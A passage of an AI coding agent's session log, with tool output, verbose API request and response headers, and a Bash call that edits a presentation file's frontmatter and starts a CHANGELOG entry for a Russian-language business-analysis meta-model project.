\u043e\u0442 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0443 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432\\n\\n> \u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u0434\u043b\u044f \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u043c\u0438, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 \u0438 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c\u0438\\n> \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u042d\u0442\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u0430\u044f \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439\\n> \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a. \u041a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\\n288 docs/ba-meta-model-overview.md\\n8:# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0411\u0410: \u043e\u0442 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0443 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432\\n15:## 1. Executive Summary\\n32:## 2. \u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u0431\u043e\u0440\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\\n52:## 3. \u041a\u043e\u043d\u0446\u0435\u043f\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c\\n89:## 4. \u0427\u0435\u0442\u044b\u0440\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438\\n105:## 5. Artifact Production Model\\n138:## 6. Orchestration Model\\n164:## 7. AI Execution Model\\n182:## 8. GigaCode Mapping\\n202:## 9. Evidence Map\\n217:## 10. \u0418\u0442\u043e\u0433 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\\n239:## 11. \u0427\u0442\u043e \u0435\u0449\u0451 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e\\n253:## 12. \u041f\u0435\u0440\u0432\u044b\u0439 MVP\\n283:## \u041e\u0442\u0432\u0435\u0442 \u0441\u043a\u0435\u043f\u0442\u0438\u043a\u0443 \u043e\u0434\u043d\u043e\u0439 \u0444\u0440\u0430\u0437\u043e\u0439\\nProduct taxonomy compilation check passed (2 Source snapshots + 2 Distribution copies).\",\n[2026-09-29T08:00:03.445Z] [INFO]         \"is_error\": false\n[2026-09-29T08:00:03.445Z] [INFO]       }\n[2026-09-29T08:00:03.445Z] [INFO]     ]\n[2026-09-29T08:00:03.445Z] [INFO]   },\n[2026-09-29T08:00:03.445Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:00:03.445Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:03.445Z] [INFO]   \"uuid\": \"c9924768-a787-4aea-8ae5-47902d2cd349\",\n[2026-09-29T08:00:03.445Z] [INFO]   \"timestamp\": \"2026-09-29T08:00:03.364Z\",\n[2026-09-29T08:00:03.445Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:00:03.445Z] [INFO]     \"stdout\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-09\\ntemperature: 0.3\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0411\u0410: \u043e\u0442 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0443 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432\\n\\n> \u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u0434\u043b\u044f \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u043c\u0438, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 \u0438 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c\u0438\\n> \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u042d\u0442\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u0430\u044f \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439\\n> \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a. \u041a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\\n288 docs/ba-meta-model-overview.md\\n8:# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0411\u0410: \u043e\u0442 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0443 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432\\n15:## 1. Executive Summary\\n32:## 2. \u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u0431\u043e\u0440\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\\n52:## 3. \u041a\u043e\u043d\u0446\u0435\u043f\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c\\n89:## 4. \u0427\u0435\u0442\u044b\u0440\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438\\n105:## 5. Artifact Production Model\\n138:## 6. Orchestration Model\\n164:## 7. AI Execution Model\\n182:## 8. GigaCode Mapping\\n202:## 9. Evidence Map\\n217:## 10. \u0418\u0442\u043e\u0433 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\\n239:## 11. \u0427\u0442\u043e \u0435\u0449\u0451 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e\\n253:## 12. \u041f\u0435\u0440\u0432\u044b\u0439 MVP\\n283:## \u041e\u0442\u0432\u0435\u0442 \u0441\u043a\u0435\u043f\u0442\u0438\u043a\u0443 \u043e\u0434\u043d\u043e\u0439 \u0444\u0440\u0430\u0437\u043e\u0439\\nProduct taxonomy compilation check passed (2 Source snapshots + 2 Distribution copies).\",\n[2026-09-29T08:00:03.445Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:00:03.445Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:00:03.445Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:00:03.445Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:00:03.445Z] [INFO]   }\n[2026-09-29T08:00:03.445Z] [INFO] }\n[2026-09-29T08:00:04.206Z] [STDOUT] [log_d3a2a0] sending request {\n[2026-09-29T08:00:04.212Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:00:04.220Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:00:04.224Z] [STDOUT]   options: {\n[2026-09-29T08:00:04.234Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:00:04.239Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:00:04.261Z] [STDOUT]     body: {\n[2026-09-29T08:00:04.264Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:00:04.272Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:00:04.278Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:00:04.282Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:00:04.287Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:00:04.315Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:00:04.326Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:00:04.334Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:00:04.341Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:00:04.345Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:00:04.352Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:00:04.357Z] [STDOUT]       stream: true,\n[2026-09-29T08:00:04.364Z] [STDOUT]     },\n[2026-09-29T08:00:04.371Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:00:04.378Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:00:04.380Z] [STDOUT]       aborted: false,\n[2026-09-29T08:00:04.387Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:00:04.394Z] [STDOUT]       onabort: null,\n[2026-09-29T08:00:04.403Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:00:04.406Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:00:04.410Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:00:04.415Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:00:04.460Z] [STDOUT]     },\n[2026-09-29T08:00:04.477Z] [STDOUT]     stream: true,\n[2026-09-29T08:00:04.484Z] [STDOUT]   },\n[2026-09-29T08:00:04.489Z] [STDOUT]   headers: {\n[2026-09-29T08:00:04.495Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:00:04.514Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:00:04.543Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:00:04.548Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:00:04.569Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:00:04.571Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:00:04.574Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:00:04.578Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:00:04.584Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:00:04.587Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2505\",\n[2026-09-29T08:00:04.588Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:00:04.592Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:00:04.594Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:04.597Z] [STDOUT]     \"x-client-request-id\": \"4f234acd-07d2-43a2-9e90-ee9e86286b0a\",\n[2026-09-29T08:00:04.602Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:00:04.606Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:00:04.608Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:00:04.610Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:00:04.612Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:00:04.616Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:00:04.618Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:00:04.624Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:00:04.630Z] [STDOUT]   },\n[2026-09-29T08:00:04.633Z] [STDOUT] }\n[2026-09-29T08:00:05.433Z] [STDOUT] [log_d3a2a0, request-id: \"req_011CfXNsasnVdVAcuH3e8H25\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1226ms\n[2026-09-29T08:00:05.440Z] [STDOUT] [log_d3a2a0] response start {\n[2026-09-29T08:00:05.448Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:00:05.457Z] [STDOUT]   status: 200,\n[2026-09-29T08:00:05.465Z] [STDOUT]   headers: {\n[2026-09-29T08:00:05.478Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:00:05.486Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:00:05.490Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:00:05.500Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T08:00:05.522Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:00:05.529Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:00:05.534Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:00:05.539Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:00:05.545Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:00:05.550Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:00:05.557Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:00:05.562Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:00:05.568Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:00:05.573Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:00:05.575Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:00:05.580Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:00:05.583Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:00:05.585Z] [STDOUT]     \"cf-ray\": \"a42973ba589d5d90-FRA\",\n[2026-09-29T08:00:05.589Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:00:05.591Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:00:05.596Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:00:05.598Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:00:05.603Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:00:05 GMT\",\n[2026-09-29T08:00:05.605Z] [STDOUT]     \"request-id\": \"req_011CfXNsasnVdVAcuH3e8H25\",\n[2026-09-29T08:00:05.609Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:00:05.612Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:00:05.616Z] [STDOUT]     traceresponse: \"00-ca0bd1664fb1ebb898452e5b6eac982d-1f567eeec55234c5-01\",\n[2026-09-29T08:00:05.619Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:00:05.624Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:00:05.626Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:00:05.628Z] [STDOUT]   },\n[2026-09-29T08:00:05.631Z] [STDOUT]   durationMs: 1226,\n[2026-09-29T08:00:05.635Z] [STDOUT] }\n[2026-09-29T08:00:05.637Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:00:05.642Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:00:05 GMT\",\n[2026-09-29T08:00:05.644Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:00:05.645Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:00:05.648Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:00:05.651Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:00:05.653Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:00:05.658Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:00:05.660Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:00:05.662Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:00:05.665Z] [STDOUT]   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{\n[2026-09-29T08:00:14.047Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:00:14.051Z] [STDOUT]   status: 200,\n[2026-09-29T08:00:14.054Z] [STDOUT]   headers: {\n[2026-09-29T08:00:14.058Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:00:14.100Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:00:14.108Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:00:14.113Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T08:00:14.115Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:00:14.119Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:00:14.121Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:00:14.124Z] [STDOUT]     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\"cf-ray\": \"a42973f20bca5d90-FRA\",\n[2026-09-29T08:00:14.179Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:00:14.184Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:00:14.191Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:00:14.194Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:00:14.196Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:00:13 GMT\",\n[2026-09-29T08:00:14.198Z] [STDOUT]     \"request-id\": \"req_011CfXNtF1inCpU74Rm1a1zr\",\n[2026-09-29T08:00:14.202Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:00:14.207Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:00:14.216Z] [STDOUT]     traceresponse: \"00-146db61e727431a9300a245484e6b5f5-bae8a720de6ca3f1-01\",\n[2026-09-29T08:00:14.220Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:00:14.223Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:00:14.231Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:00:14.233Z] [STDOUT]   },\n[2026-09-29T08:00:14.237Z] [STDOUT]   durationMs: 902,\n[2026-09-29T08:00:14.240Z] [STDOUT] }\n[2026-09-29T08:00:14.243Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:00:14.249Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:00:13 GMT\",\n[2026-09-29T08:00:14.256Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:00:14.263Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:00:14.297Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:00:14.313Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:00:14.316Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:00:14.332Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:00:14.357Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:00:14.378Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:00:14.389Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:00:14.395Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:00:14.400Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:00:14.409Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:00:14.415Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T08:00:14.425Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:00:14.442Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:00:14.460Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:00:14.466Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:00:14.470Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:00:14.476Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:00:14.482Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:00:14.492Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:00:14.501Z] [STDOUT]   \"request-id\": \"req_011CfXNtF1inCpU74Rm1a1zr\",\n[2026-09-29T08:00:14.504Z] [STDOUT]   \"traceresponse\": \"00-146db61e727431a9300a245484e6b5f5-bae8a720de6ca3f1-01\",\n[2026-09-29T08:00:14.510Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:00:14.513Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:00:14.516Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:00:14.521Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:00:14.524Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:00:14.528Z] [STDOUT]   \"cf-ray\": \"a42973f20bca5d90-FRA\",\n[2026-09-29T08:00:14.530Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:00:14.532Z] [STDOUT] [log_5021fc] response parsed {\n[2026-09-29T08:00:14.534Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:00:14.695Z] [STDOUT]   status: 200,\n[2026-09-29T08:00:14.701Z] [STDOUT]   body: X {\n[2026-09-29T08:00:14.708Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:00:14.713Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:00:14.724Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:00:14.729Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:00:14.731Z] [STDOUT]     },\n[2026-09-29T08:00:14.733Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:00:14.738Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:00:14.741Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:00:14.744Z] [STDOUT]   },\n[2026-09-29T08:00:14.747Z] [STDOUT]   durationMs: 902,\n[2026-09-29T08:00:14.749Z] [STDOUT] }\n[2026-09-29T08:00:21.634Z] [INFO] {\n[2026-09-29T08:00:21.634Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:00:21.634Z] [INFO]   \"message\": {\n[2026-09-29T08:00:21.634Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:00:21.634Z] [INFO]     \"id\": \"msg_011CfXNtFZhZetnV3AtjRHLA\",\n[2026-09-29T08:00:21.634Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:00:21.634Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:00:21.634Z] [INFO]     \"content\": [\n[2026-09-29T08:00:21.634Z] [INFO]       {\n[2026-09-29T08:00:21.634Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:00:21.634Z] [INFO]         \"id\": \"toolu_01LjGDZtyDjizYHtmDahqXdG\",\n[2026-09-29T08:00:21.634Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:00:21.634Z] [INFO]         \"input\": {\n[2026-09-29T08:00:21.634Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; python3 - <<'EOF'\\np='projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md'\\nt=open(p).read()\\na='  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\\\nrelated_issues:'\\nb='  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/ba-meta-model-overview.md\\\"\\\\nrelated_issues:'\\nassert a in t; open(p,'w').write(t.replace(a,b,1))\\nc='CHANGELOG.md'; t=open(c).read()\\nentry='''- projects: [\u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango](projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md) (issue [#646](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646)) \u2014 \u043f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043d\u043e\u043c\u0435\u0440\u0430\u043c \u0441\u043b\u0430\u0439\u0434\u043e\u0432: \u0448\u0430\u0431\u043b\u043e\u043d \u0438\u0437 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 